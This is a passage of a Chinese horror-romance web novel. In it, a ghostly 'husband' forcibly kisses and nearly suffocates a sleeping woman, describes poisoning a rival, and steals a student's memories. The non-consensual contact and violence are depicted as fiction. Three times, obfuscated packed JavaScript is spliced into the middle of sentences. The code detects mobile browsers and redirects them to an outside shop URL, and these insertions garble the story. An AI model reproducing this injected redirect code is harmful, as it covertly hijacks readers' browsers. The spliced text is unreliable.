见状,他轻轻摩挲她的肩头安抚,一边感受着被窝里来自她的馨香和温暖,浑身血液狂热,忍无可忍地仰起头,喉结缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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贪恋的芬芳消失,他不舍地砸吧一下嘴,只觉得有股浓郁的香味儿在唇齿间弥漫,回味无穷,再端详着怀里的人儿,满心欢喜快溢出来且无处发泄,一个劲儿如痴如狂地低喃:“妻,我的妻……” “我爱你,我爱你我爱你我爱你我爱你我爱你我爱你……” “我那么、那么那么那么那么的爱你……上天入地,你绝找不到第二个比我更真心的男子。” “就当为了我们的婚姻,为了我这个善妒的丈夫着想,你把除我之外的人从身边赶走好不好?” “从此之后,你只要我,好不好?” 她没吱声,他便自以为是的理解为她应允了,因而激动到牙齿发颤,气喘连连。 歪着头,寻到一个合适的角度,小心贴上她的唇瓣,轻轻抿了一下。 热感传来的刹那,他爽到头皮发麻,再也控制不住压抑许久的冲动,腐坏的舌尖探出,灵活挑开她的贝齿,直直钻入她口腔深处,熟练地搅合、纠缠。 许菱烟吃不住如此霸道的入-侵,拼命摆头试图挣脱,呜咽声和抗拒的幅度越来越大。可那条纤长蠕动的舌一直紧随她不放,用力吮吸着,啧啧作响。 原本寂静的房间里响起衣服摩擦的窸窣声,喘息急促到好似人快晕厥。 以免她抗争太过,一不留神会从自己的怀中滑走,他抬起膝盖压住她的双腿,虎口同时卡住她的手腕,指腹不断摩挲内侧的软肉,感知着皮肤下涌动的血液、起伏的脉搏,将其当成延续她生命的神圣河流,他无比渴望淹死在里面,或顺着血管遍布她身体各处,从此成为她的一部分。 这样一来,谁也别想再分开他们。 他被这疯长的念头弄得彻底癫狂起来,一对猩红的眸子始终紧盯住她不放,辗转亲吻间隙,发出温柔又含糊地请求:“吃掉我吧。” “这对你来说不是难事,只需要动一动你漂亮的牙齿,慢慢地咬开我,像平时吃饭一样咀嚼,随后,统统吞进肚子里……好吗?” “给我一个机会,待在你的身体里,和你永生永世在一起。” “好吗?” “好吗?” 21. 名分 他说得动-情,长舌耸动着使劲往喉咙更深处钻,巴不得沿着喉管挤入她的身体内。 可往前没多远,便被悬雍垂阻碍。 他不死心的继续尝试,怀中的人突然剧烈颤抖起来,宛如一条脱离湖水濒死的鱼儿,失控痉挛地拍打被单,床不堪重负,发出哐当哐当巨响,下一秒就要散架似的。 巨大的声音在寂静黑夜中格外明显。 原本紧闭的一双眼,也因为暴烈的痛苦勉强睁开一条细小的缝隙,不见瞳仁,只有眼白,上面遍布鲜艳血丝。 储存的氧气被掏空,肺部已经挤瘪到极限,堪比一辆重卡碾过去,剧痛无比。 咳嗽的冲动达到顶峰,她细长的脖颈更努力的抻着,咽喉不停吞咽,可嘴巴、口腔被湿湿滑滑、冰凉咸腥的一长条东西堵得严严实实,那口气上不来下不去,噎得她翻起白眼。 没几秒,周身皮肤洇出紫红色,额头、鼻尖渗着细汗。 她的躯体仍在沉睡,迷蒙的意识却逐渐回拢,模模糊糊地想: 难受。 难受。 好难受啊。 自己不是躺在被窝里安安生生地睡觉吗?为什么会这么难受…… 仿佛置身于真空环境,整个人就快炸开了。 窒息感愈发浓烈,她连最后一丝思考的力气都没了,生理性泪水涌上来,旋即,两行清泪沿发红的眼尾滚落,呜咽声渐弱:“……滚开,别碰我。滚……” 甫一出声,舌尖便被勾走,好一阵含弄。 直至嗅到咸湿的气味,与她疯狂拥吻的人一怔。 亡故太久,他早就不再依赖呼吸生活,胸膛的起伏仅仅因为平时模仿他人习惯了,也忘记人类没有及时补充氧气便会死。 他只觉得可惜,好不容易得到一个与她亲昵的机会,她却那么抗拒,竟然还流了泪。 如果能找到办法,让她快些回忆起他们昔日的恩爱就好了。 他可以接受在夜间偷偷摸摸的跟她相会,但无法忍受一直如此。 毕竟,谁不渴望从所爱之人那儿要一个名分呢。 他在心底哀愁地叹息,温柔拂去她眼尾的泪水,任由指腹吸收干净。 而她显然不领情,啜泣声越来越大。 眼见继续下去可能会把她吵醒,他主动退让一步,缓缓的、不舍地松开她香软小舌。 后退中途,他故意去磨蹭她的犬齿,等到舌面钝痛,破开一点点口子,冒出的小颗血珠混着她的津液被他吞进肚子里。 他砸吧砸吧嘴,终于如愿以偿,彻底抽离这个处处散发着芳醇的宝地。 刚一分开,许菱烟双唇还没来得及闭上,汹涌的气流顺势侵-入,一股脑儿往干瘪的肺部钻,眨眼间便撑回原状。 她猝不及防,被呛个正着,立马咳嗽起来,看阵势恨不得将五脏六腑都咳个干净,泪水争先恐后流出,打湿整张脸,然后顺着面颊继续往下滚落,在枕巾上洇开一片暗色。 饶是这样,那双眼仍没张开,眼皮因为盖得太死太紧,挤出几道细细的纹。 模样看上去格外难捱。 方才的绞缠过后,他躺的位置比她低一些些,此刻面朝前方,只有黑眼仁向上狠狠翻起,快要挣脱眼眶冲过去粘黏在她脸上,无论如何都拔不下来才好。 他一边脑内幻想着,一边痴迷地注视着她潮红的脸色,唇瓣上晶莹水光,连忍耐痛楚的表情都如此摄人心魄。 刚刚亲吻的余韵还没消散,他回味着,被眼前的景象蛊惑着,又一次气喘如牛,发狂地凑过去舔舐她的泪水,“不许滴到枕巾上!留给我……只能留给我……” 他拉低她的脸,伸出腐烂的舌尖,认认真真清理那些泪,不住地囔囔:“我的,我的我的,我的我的我的我的……” 许菱烟咳了好一阵儿才停,换气的频率全乱了,只好张开樱唇辅助,两排贝齿后方,嫣红的舌尖若隐若现,吐息芳香。 他看直了眼,使劲咽下口唾沫,魔怔似地叨咕: 好美。 好美好美。 好美好美好美好美好美好美…… 喜欢。 好喜欢好喜欢。 好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢…… 他使劲儿拥住她,黏腻的喘息喷在肩窝处。 她怕痒,还起了一层鸡皮疙瘩,不住的向后躲,紧接着,被他捏住腰肢重新拉回来,飞速扯下肩头的睡衣,莹白的肌肤暴-露在微凉的空气中。 她条件反射般缩起肩膀,眉头紧锁,咕哝一声并不清楚的音节,大抵是抗拒。 他充耳不闻,唇包住利齿,叼起覆盖着肩胛骨的薄皮,吃糖一样反复吞吐、咂弄,专注地品尝花朵香甜气儿。 桎梏着她的双手也没松开,掐着、摁着、揉着腕侧的细肉,安抚她的情绪。 她哼哼唧唧的,仍在挣扎。 而他陷入温柔乡里,一时之间无法自拔,腰间一发力,压着她翻身而上。 太久没有过夫妻之间的亲密,他已经生疏了,动作冒冒失失的,不知道碰到什么东西,突然响起滋啦声,一股股白烟随即冒出,肉质烤熟的焦糊味儿迅速弥漫开来。 更深的疼痛却迟了一拍才被感知到。 “呃啊——!” 他控制不住惊呼一声,揽着她的胳膊转瞬间便化为雾气。 抬眼看过去,发现是枕边的串珠正嗡鸣不止,像极了佛寺里悠长肃穆的钟声,震慑力十足。 源源不断的耀光让他好似投身火海被反复煅烧,又似剥皮抽筋,一层一层。 他捂着眼睛,发出痛苦地低嚎,可身形却消散的越来越快。 他不得不暂时远离她,拖着只剩一半的躯体迅速撤回衣柜里,将自己团成一团雾,重新躲起来。 灼烧感久久没散去,珠光变成可以穿透皮肉、深入灵魂的火,带来的痛楚不断折磨着他。 他咬死牙关,血丝从牙龈渗出,却不肯再发出一丝痛呼。 一双被灼伤的眼就快看不清了,仍阴狠地盯着那串珠子,等胳膊慢速聚拢成实体,指甲一下下抓挠门板,刺耳声响夹杂着哀怨一同响起—— “你算什么东西?” “凭什么阻碍我?” 音一出口,串珠的嗡鸣声更大,好像在咒他不得好死。 他冷冷睇着它,齿间溢出不屑地讽:“你不认也没用。” “千年前,我们切切实实拜过堂,成了亲,沈氏族谱上写着她的名儿,她便是我名正言顺的妻。” “沈氏往后几十代,无论男女,身上都流着我们共同的血,哪怕天王老子来了,都无法抹杀这段缘分。” 似是无法反驳他这番话,串珠的光减弱一分,随即恢复如初。 可这不到片刻的变化被他收入眼底,立即狂悖地笑起来,纵然暂时身居下位,仍旧天然一股凝视他人的压迫感。 许菱烟被那道光庇护着,自然听不见渗人的凄厉笑声。 她无知无觉地探出手抓住串珠,感受到热烘烘的温度,表情一下放松,就像找到靠山一样,心安地叹口气。 见状,他嘴角笑意一怔,挠动门板的声响越来越大,留下一道又一道可怖的细长痕迹,木屑于空中飘拂。 偏偏他嫉妒到浑身颤抖也无能为力,浓雾一样黑的怨气从缝隙钻出,碍于串珠的威慑,只能徘徊在床的上方,翻涌、聚集,不甘心地絮语:“……为夫不怪你。” “你暂且没恢复记忆,不知道自己已为人妻,也还不知道我的存在,故而有时拿捏不准与他人交往的界限,实在情有可原。” “为人夫者,自当心胸宽敞,不与妻子计较细枝末节。怪只怪这年头狼子野心的人忒多,总妄图蛊惑你犯错,做出不利我们夫妻感情之事。” “既然撞见了,为夫不得不管。” 他看着她的背影舔了舔唇,回味着方才缠绵的吻,语气不自觉变得柔和。 “那个总想引走你注意力的贱人……我在他吃的饭里掺了一滴血,起初他会感觉肠胃不适,体力衰竭,按照现代人的说法,像极了食物中-毒的症状。很快,他身上就会散发出活人灵魂独特的香味儿,对那些四处飘荡、失去神智的低阶鬼而言可是上等养料。” “它们无法抵抗这种香味儿,肯定会拼命地纠缠他,暗中给他使绊子,盼望他快点死,这样就能顺理成章吞掉他。 但他不会发觉端倪,只以为是自己点背才事事不顺心。 时间久了,他的精神气被吸空,夜里开始梦游,不知道哪一天,他也许走着走着就到了活人不该去的地方,再也回不来了。” 他全然不觉这番话多么骇人听闻,眉眼间始终盛着温情,笑容纯良。 “我知晓你不喜我随便杀生,因此,我给他留了一条生路。只要他以后不再惦记你,试图破坏我们夫妻的感情,等到他生死的关键时候,我自然愿意拉他一把。” “最重要的一点,你也要乖乖的,别再为其他人耗费心神,好不好?” “……” 他注定等不到她的回应,一双受伤的眼被猩红血色完全浸染,再也看不清她的背影,可他仍不死心,磨得牙咯嘣作响,乍听起来像笑亦像怨,一遍又一遍地念: 清如,清如,清如。 郑清如。 恨不得刻入骨血的、我的妻子。 咯咯咯。 我好爱好爱你。 你也只爱我一个好不好。 咯咯咯。 如若不然。 不然…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110996|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咯咯咯。 我就把那些吸引你注意力的渣滓,全都杀光。 - 忙完期末考,卢桃旁敲侧击地探查到,师姐和沈教授还没到同居的那一步,立即拎着行李箱屁颠屁颠滚回来住了。 进门发现许菱烟不在家,她给她去了个电话,等接听的时候顺手拉开零食柜,想扒拉一盒速食麻辣拌填肚子,发现之前屯的那些还没来得及吃,全没了。 恰巧许菱烟接听,背景音里传来地铁出站的广播。 卢桃忙说:“师姐,我到家啦。你还在外面忙吗,什么时候回来?” “不确定,今晚约了人去看舞台剧,”许菱烟关掉导航,跟着前方背了沙溪大学帆布包的学生们一起走,“我给你发个红包,想吃什么就买。” “不用啦,爸妈给我的零花钱足够了。” 卢桃说什么都不肯收,又怕许菱烟揪着这事儿絮叨个没完,及时转移话题:“师姐,你见没见我买的那箱麻辣拌?放在零食柜最下面这一层抽屉里了。” 许菱烟云淡风轻:“哦,我给扔了。” “扔了?!” 卢桃懵逼:“为什么?” 许菱烟愁闷地啧声:“有天晚上我嘴馋吃了一盒,第二天起来嘴肿的不能看,身上青一块红一块,比被人揍了还惨。诊所医生一看就说是食品过敏,我回忆了一下,三餐都是吃惯的食材,不会有问题,就只能是夜宵吃了麻辣拌闹出的毛病了。” 卢桃骇一跳。 她也是第一次屯这个牌子的麻辣拌,看各大博主评价不错,所以买了一箱打算尝尝味道,没成想害得师姐过敏。 她赶紧问她身体情况,得知没什么要紧事才松口气,挂断电话之后,忿忿不平的登录平台投诉去了。 许菱烟这边刚结束通话,紧随其后就接到沈渠的语音请求。 前后脚的事儿,无缝衔接。 她调侃他要么神通广大能掐点儿,要么给她的手机安装定位了。 沈渠无奈:“凑巧罢了。” 转而说起正事。 考试已经结束,监考老师们临时接到通知,把试卷分类归整完才能下班。 沈渠给许菱烟发了定位,请她上楼稍坐。 许菱烟婉拒:“不着急,你忙你的。我刚好趁这功夫去见个朋友。” 沈渠愣了一下,后知后觉想起还有这回事。 他垂眸,通过玻璃望向站在不远处树下的女人,压抑着沸腾的探究欲,嗯声:“那就,稍后联系。” 许菱烟痛快地说再见,揣起手机,沿林荫路前行。 这是她第一次来沙溪大学。 早有耳闻这所老校的绿化实属一流,如今身处其中才体会到这份自然的美,还听说,校区内有四条美食街,正值饭点,各种各样的饭香气扑鼻,勾的人口水直流。 天稍暗,街道两旁的灯亮起的毫无征兆,干道尽头的广场旁竟然还有烧烤店,圆台上有驻唱歌手,氛围极佳。 许菱烟读大学的时候可没同等的待遇,看见这场景可羡慕坏了,举起手机拍了几张照,然后按照路线图拐进一旁的柏油路。 相较于其他学校期末周的冷清,沙溪大学此刻的校园内反而十分喧闹,有人拖着行李箱、背起沉重的旅行包往外走,也有人拎着满满一大袋好吃的零食或宵夜,呼朋唤友的前往宿舍楼。 人潮涌动,热闹非凡。 许菱烟和对方约在三栋宿舍楼下见面。 隔着老远,许菱烟瞧见一个穿着粉粉嫩嫩的小姑娘蹦跶着冲自己挥手,她同样扬起胳膊回应。 等走近,褚灵萱突然腼腆起来,双手背到身后,挺拘谨地站着,也不敢正眼瞅她,低低地说一句姐姐好,问她今天约自己见面有什么事。 自从讲座那天两人聊得很投机,结束时互换微信,许菱烟之后没少向褚灵萱请教历史知识,她人很有耐心,还花费精力帮忙整理北邳的史料。 为表感谢,许菱烟亲手做了六支绒花发簪送给褚灵萱,她想自留或送人都可以。 褚灵萱万万没想到能收到如此珍贵的礼物,双眼瞪得铜铃大,连连摆手,表情诚惶诚恐,“整理那些资料是因为我也在研究北邳,根本不麻烦,也不、不算帮忙吧……” “那也很谢谢你。” 许菱烟不由分说地塞给她礼袋,“绒花谐音荣华,六又是很吉利的一个数字。这么有意义的一份礼,你拒收可不好哟。” 褚灵萱臊得脸蛋儿都红了,连续说了好几遍感谢,非要请许菱烟吃顿饭。 许菱烟瞄一眼手机时间,遗憾道:“很不巧,我晚上约了人有事,这会儿就得走了。下次一定。” 褚灵萱立即:“我送你吧。本来我也要去找沈教授批改论文,顺路的。” 22. 心疼 “沈教授?沈渠?” “嗯。” 许菱烟有一丝意外,“你的论文选题,该不会跟北邳有关吧?” 褚灵萱颔首:“对。” 诚然,一个距今久远,谜一样的朝代,没有多少史料和文物作支撑,很难写出有价值或者新鲜角度的文章。 可那天听了沈教授的讲座,褚灵萱便对北邳产生了兴趣。 收集资料的过程中,随着了解的深入,这种感觉更加强烈,仿佛有什么了不得的真相,被埋在厚实的岁月土壤之下,正等着她去挖掘。 所以,褚灵萱毅然决然放弃那些所谓安全的选题,成为全系唯一一个以北邳婚嫁习俗为研究方向的人。 后续确实如她所料,遇见了数不清的困难。 论文一遍又一遍修改到现在,人还没精神崩溃,全靠她有一颗强大不屈的心脏。 许菱烟斟酌问:“时间允许的情况下,你不打算换个选题?” 个人喜恶暂且放去一边,顺利毕业才应该是当下最重要的事。 褚灵萱也考虑过这一点,但…… “既然选择了,就得咬牙坚持,半途而废说出去多没面儿啊。更何况,我也舍不得这几次打印的费用,真挺贵的。” 嗯……很接地气的理由。许菱烟哭笑不得,拍一下褚灵萱的肩膀,给她加油打气:“祝你论文早日过关。” 褚灵萱攥拳,头一扬,雄赳赳气昂昂,“多亏沈教授一直以来的支持,给了我莫大的信心。比起沈教授做研究这些年经历的艰苦,我眼下的小小挫折根本算不上什么,要想获得成绩,不付出点代价怎么行。” 许菱烟竖起大拇指,佩服褚灵萱的觉悟。 时间紧迫,她们一个惦记着去找教授改论文,一个期待赶快和喜欢的人约会,所以没在宿舍楼下多耽误。 褚灵萱带许菱烟抄近路,穿过一条相当僻静的林荫小径,视线豁然开朗。 周边顿时喧嚣起来。 待天色稍暗,恰恰是小吃街生意最兴隆的时候,来来往往的学生们钻入不同的店铺。 为了保证自己能以最完美的姿态跟沈渠进行约会,许菱烟刻意没吃午饭,这会儿饥肠辘辘,被四面八方涌来的香味儿勾得馋虫作祟,意志力立即破成碎片,一双眼不停搜索四周的摊贩和移动餐车,打算先买点食物垫垫肚子。 许菱烟示意褚灵萱稍候,就近买了两根烤肉肠,撒上一层辣椒粉,香味扑鼻。 回来瞧见褚灵萱站在贩卖机前挑饮品。 听她问:“姐姐喝什么?” 许菱烟把烤肠递给褚灵萱,扫一眼价格,没有假客气,“跟你一样,酸奶吧。” 待取出瓶子,两人继续往教学楼的方向走。 吃东西时谁都没开口,一片安静中,许菱烟的思绪不由自主的又飘到沈渠那儿了。 暗暗咂摸着,许菱烟咽下最后一口烤肠,途径垃圾桶时扔掉签子,拿纸巾擦掉嘴上的油渍,旋开口红盖子补妆的同时,终于忍不住好奇,主动发问。 “你刚说,沈教授做研究的时候经历了很多的艰苦,是什么意思?他一个老师,也会被派去危险的地方出差吗?” 褚灵萱点头又摇头,双颊泛起清晰且异常的红晕。 她打了个手势,示意她稍等下。 褚灵萱不是南方人,故乡惯吃咸口,但她也不至于一丁点辣都碰不了,所以完全没料到自己会被肉肠外层沾的辣椒粉辣个正着。 眼下她双唇高肿,小狗一样吐着嫣红的舌头,鼻尖冒出颗粒汗珠。 模样可怜又滑稽。 幸亏褚灵萱早有准备,急急慌慌地拧开酸奶盖子,仰头灌了好几口,缓解嘴里那股火烧火燎的痛感。 见状,许菱烟忙不迭把自己那瓶还没喝的酸奶,连同纸巾一起递过去,懊恼买东西之前没先打听一下她的口味,一个劲儿抱歉。 褚灵萱连连说没事,顶着一张薄红的脸蛋儿,小口吸入冷空气,缓和发麻的舌面。 生怕许菱烟内疚,她赶快接上方才未了的话题,转移她的注意力。 “这事儿你问我,可算问对人了。” 褚灵萱表情骄傲,“毕竟我现在是沈教授唯一的指导学生嘛,知道的肯定比别人更详细一些。平常跟教授聊天的时候,听他提过以前的事。” 不过话又说回来。 这位漂亮姐姐为什么对沈教授的过去格外关心? 难不成…… 褚灵萱机敏地觑向许菱烟,从她不自然的表情打个晃,像发现了一桩了不得的真相,眉一挑,一副看破不说破的揶揄模样。 察觉褚灵萱无声的打量,许菱烟尴尬至极,动作僵硬地撩起一缕头发别去耳后,以此掩饰自己的窘相,找补:“不方便说就算了,当我没问过吧。” “没什么不方便的。我刚刚沉默,其实是在组织语言。” 褚灵萱使劲抿嘴,抑制着荡漾的笑容,正色道:“沈教授最开始的研究方向不是北邳,准确来说,他就没打算从事这一行,反倒热衷于背着行囊天南地北的旅行。” “从大三那年起,他一有空就往外地跑,西安的秦砖汉瓦、洛阳龙门石窟、甘肃敦煌、河西走廊、四川广汉三星堆……这些经历,在他早期的微博里都看得到。” 寥寥几句,许菱烟魔怔似的,竟在脑海中勾勒出一个模糊不清的、似曾相识的背影。 依稀瞧得出对方骑在马上,穿着玄色骑装,墨发束起,一手勒着缰绳,另一手持红缨长枪,身板坚实挺阔,乍看有一人可抵千军万马之势。 彻彻底底是个刚成年,还没来得及褪去青涩,满怀壮志、热血沸腾的男人。 完全区别于她对他一惯温润尔雅的认知。 许菱烟很快从这短暂的失神中缓过来,无奈一笑,搞不懂自己的想法怎么飘到十万八千里外去了,竟还构思出一个虚幻的人物形象。 褚灵萱捕捉到她的微表情,偷偷在心里哦吼一声,立马打开微博关注列表,搜索出某个账号给她看,“就这个。” 许菱烟得到允许,接过褚灵萱的手机慢慢翻看博文,还不忘分出一丝神听她说话。 “沈教授家里从商,不差钱,大学老师仅仅是他众多收入中的一份普通兼职,起初是为了搪塞家人,以免他总往外跑,显得游手好闲的,容易被长辈们念叨。不过——” 突如其来的一个转折,许菱烟速即移来视线,“不过什么?” 褚灵萱环视一圈儿,等到周遭没人经过,刻意压低声量:“去年年底,沈教授返乡途中出了一场严重事故,差点没命。” 许菱烟心脏蓦地咯噔一下。 “万幸手术很成功,身体也没留下什么后遗症,”褚灵萱慨叹,“出院之后,沈教授就跟变了个人一样,性格变得成熟稳重很多,不再到处旅游,还跟沙溪大学签了合同,一门心思研究北邳的历史文化,发表的论文都非常有权威性……” 许菱烟却只关注到那次意外,竟从未听沈渠提起。她眉头一下蹙起,表情严肃,“什么事故,车祸吗?” 褚灵萱犹豫着拖长音嗯了一会儿,实在不好给出一个明确的答案。 “具体的情况我不太了解,这还是我从同专业的学长那儿听来的,他研究生导师刚巧就是沈教授的恩师,因为这一层关系,他们平时有过来往,多少也算有点交情吧。” “事情发生之后,他跟老师一起去医院探过病,亲眼瞧见,沈教授当时不止伤势很重,更像在某个荒凉的地方待了很久很久,整个人都没人样儿了,蓬头垢面,皮包骨头,浑身散发着浓浓的……”腐臭味。 话音戛然而止。 褚灵萱突然记起来许菱烟似乎喜欢沈教授这回事,表情突变,做错事的小孩子一样手足无措,死死抿住嘴巴,生怕多说一个字引起许菱烟的反感,自己就成坏人好事的罪人了。 许菱烟同样想结束这段聊天。 虽然事故已经发生,并没给沈渠带来切实的伤害,却还是听得她五脏六腑都揉成一圈,仿佛也跟着经历过命悬一线的体验,眼皮跳个没完,心惊胆战的。 她摁灭手机屏幕,还给褚灵萱,“谢谢。” “不客气。” 说着,褚灵萱偷瞄她的脸色。 emmm…… 不太妙。 但跟反感没关系,更像担心。 褚灵萱确认她的心意,松口气,默默组织一番语言,添补道:“俗话说得好,大难不死必有后福嘛。瞧瞧现在沈教授身板锻炼的多结实,对那些危险的户外活动也不感兴趣,只知道专心致志的进行学术研究,这种性情踏实的男人最有魅力了。” 许菱烟眉间褶皱一松,成功被她逗笑:“沈教授到底给你塞了多少好处,值得你这么卖力的宣传他?” “不多不多,别卡我结业答辩就行。” “哈哈哈……” - 天黑之后,教学楼立时亮起灯,老师们完成工作任务,三三两两的结伴离开办公室,走在最末尾的男老师主动邀请:“沈渠,今晚要不要跟大家伙聚一聚?” 坐在格子间的人并没抬头,只有一道毫无波澜的声音传来:“不了,今晚有约。” 都是成年人,男老师立马露出心领神会的笑,叮嘱他别忙太晚,反手关门离开。 下一秒,空荡无人的室内骤然响起类似狂风吹过的动静,顶光扑闪不止。 一缕薄雾感知到召唤,打着旋儿从女人影子里溜走,带着她的馨香与声音穿梭过繁茂枝叶,沿墙壁攀爬,钻入窗户缝隙,迅速归入沈渠的体内。 那具趴在桌面良久,早就冰冷僵硬的身体突然抽搐一下,双眼嚯得睁开,唇隙间叹出一口悠长浓郁的气。 故去的人便以如此诡异的方式重新活了过来。 室内气氛亦恢复如常。 沈渠起身活动麻木的肢体,耳畔还回荡着妻子婉转的笑声。 他被吸引着,缓步到窗边,向下眺望空无一人的小径,聆听那道远远飘来的妙音,估算妻子还有多久才能走到他的面前。 以及,褚灵萱说得那些与沈渠有关,换言之,与他有关的事。 不算假,但不全面。 毕竟那会儿的他才从底下爬出来,没有适应这具失去活力的躯壳,也不具备足够的能力改变一个人的记忆,只能让褚灵萱暂时忘记曾经从某人那儿听来的重要内容。 再多的,彼时的他便做不到了。 沈渠摊开掌心,立即有一缕黑烟摇曳升起,里头装着他从褚灵萱脑袋里抢来的画面。 此时此刻,雾条儿正在疯狂挣扎,试图脱离他的掌控,返回去找原主人。 沈渠冷嗤一声,似在嘲笑它的不自量力,随后,他并拢拇指与食指,将黑烟捏成条反复揉搓,随着一道又一道凄厉的女生惨叫响起,景象便如电影般于他眼前重现—— 去年十二月,死而复生的沈渠即出院前的那天,庚舟,即沈渠恩师负责指导的一位研究生、褚灵萱同专业的学长,突然来访。 只因为他一直醉心于研究北邳的历史,偶然从导师口中得知沈渠竟是艮山沈氏的后人,便兴致冲冲地赶来找他聊天,本以为能给自己的论文带来一些新的灵感,却不想撞破了令他后悔终身的场景。 同一天,与他有约的褚灵萱迟迟联系不上人,手机屏幕映着她焦急的脸,颤抖的指尖反复摁下拨打键,直至第十三通未接电话后,听筒里终于传来庚舟的声音。 但却格外陌生。 “喂……?灵萱,是、是你吗?”庚舟的嗓子异常嘶哑,像有人用长指甲不断摩擦粗糙的黑板,字眼时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115911|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停时续,气息急促战栗。 褚灵萱立马察觉不对,抓紧手机的手指关节泛白,连环炮似地质问:“不是约好见面吗,到点了,你怎么没来?是不是路上发生什么事了?我给你打这么多电话,你怎么不接?你快急死人了知不知道!” “没、没事,我没事……不对,有事!有大事!天大的事!” “他、他不对!从出事故之后就开始不对了,是我们瞎了,全都瞎了。我们这么多人去探望他,竟然没一个人发现不对!” 庚舟神经兮兮地絮叨着,语速飞快,字句像被打乱的编码,发音也含糊,很难分辨出他究竟在说什么,只听得出声线逼近尖利,完全不像一个成年男性发出的动静。 褚灵萱听得费劲,掌心使劲把手机往耳朵上挤压,恨不得直接钻去屏幕那头和庚舟面对面讲,“什么不对?他又是谁?不儿……你慌慌张张的,到底想说什么啊,我怎么一点儿也听不懂……” 突地,庚舟爆发出一声巨大的怒吼,吓得褚灵萱差点没拿住手机。 他的精神状态已然癫狂至极,下颌失控地打着颤,却要强制自己的头脑冷静下来,抖动嘴皮子继续咕哝:“灵萱,你听我说。你先别说话,听我说……” 褚灵萱被他弄得惶惶不安,意识到事态不对,乖觉地闭上嘴。 “他,就是他啊,还能有谁!沙溪大学历史系的沈、沈渠,沈教授。”这个名字似是烫嘴,在庚舟舌尖滚了好几遍,终于含混又惊恐地吐出。 “我刚刚亲眼看见的……真的看见了,就在、在医院后面的小路里,灯坏了的那段……” 庚舟咕嘟咽下一口唾沫,声量陡然压低,变成一种鬼祟的气音,怕极了被那个无处不在的东西听见:“...他没有影子!虽然月光很暗,但、但我脚下有,他脚底下...什么都没有!是空的!完全是空的!” “我、我当时太害怕了,害怕死了,没忍住叫了一声,然后他、他回头了,不是转身,是脖子咔得一下就转过来了,那双眼直勾勾地盯着我,没完没了地笑!” 听筒里传来牙齿剧烈磕碰的咯吱声,还有粗重如牛的气喘。 褚灵萱感觉有股强烈的寒意顺着脊椎爬上头顶。 她想做表情缓解一下诡异的感觉,却提不起嘴角,只能受本能驱使着,木讷地开口:“学长,你先冷静。告诉我你在哪儿,或者周边有什么标志性建筑,我这就报警。” “报警没用!你还没听懂么,他、他……他压根就不是人!” 庚舟彻底崩溃了,嚎叫声像极了痛哭,说话颠三倒四的,语义也破碎:“我们以前鬼迷心窍了,怎么会认为他是人呢?你想想,灵萱,你好好想一想啊。” “他从不晒太阳……不止太阳,他连光都照不得……他的体温非常非常低,身上还总一股洗澡也洗不掉的腐臭味……他从不吃东西,连汤水都不喝,却说自己刚做完手术,没到可以正常进食的时候,可是普通人饿这么久早就垮了,更别提他还是个体质差的病号……” “还有!还有!” “镜子……对,镜子照不出他吧?我记得有一次……反光,水里……太阳底下……他没有……他没有那个!” 说着说着,庚舟又哭又尖,又倏然捂住嘴,把所有声音闷在掌心里,变成绝望的呜咽:“我怕呐,萱萱,我太害怕了……我从医院一路跑回家,把门、窗、灯全关了,贴墙躲在角落里,可是没用,我感觉他追来了,他一定就在这儿……” 褚灵萱从小到大接受的都是科学教育,很难相信世界上有鬼神的迷信说法,但又无法忽略庚舟抽噎中夹杂着的难以名状的恐惧。 沈教授出一次事故再醒来就成鬼了? 这话说出去,谁会信啊。 医院的各项检查结果就是最大的反驳证据。 她更愿意相信庚舟是碰见了麻烦事,吓得他神智错乱,开始胡言乱语。 当务之急不是纠结他的话真不真,而是先确证他的人身安全。 褚灵萱攥了攥拳,攒起一股劲,强制自己镇定下来。 先报警。 再打车去庚舟的住所看看情况。 她这么想着,一边随便说些什么安抚他情绪,一边打开拨号页面。 没等数字摁下去,免提里的声音突然断了下,信号似乎受到强烈干扰般滋滋作响。 属于庚舟的动静完全消失,取而代之的是更模糊、更骇人的呢喃:“……破坏我们夫妻感情的贱人,杀掉……知道我秘密的人,也要杀掉……杀掉杀掉杀掉杀掉……去死去死去死去死……” 那一刻褚灵萱血液凝滞,完全不敢相信自己听见了什么,大脑被巨大冲击侵袭,变得一片空白,整个人石化一样怔愣在原地,一时间连惊恐都忘了。 她看着面前灯火通明的街道,却觉得周边的温度骤降,背后仿佛有一道冰冷的视线,正从某个漆黑幽静的角落无声地投来。 随后,在褚灵萱没反应过来的时候,与那晚相关的记忆便化成一缕烟雾,被凭空出现的沈渠攥入掌心。 一觉醒来之后,她自动淡化掉跟庚舟的感情,再没跟他联系过,回归普通女大学生的身份,继续无波无澜的生活。 一切看似重回正轨,但这并非长久之计。 沈渠无法完全抹杀褚灵萱的人际关系,万一哪天她不小心向妻子提及不该提及的,让妻子想起某些不该想起的,该怎么办。 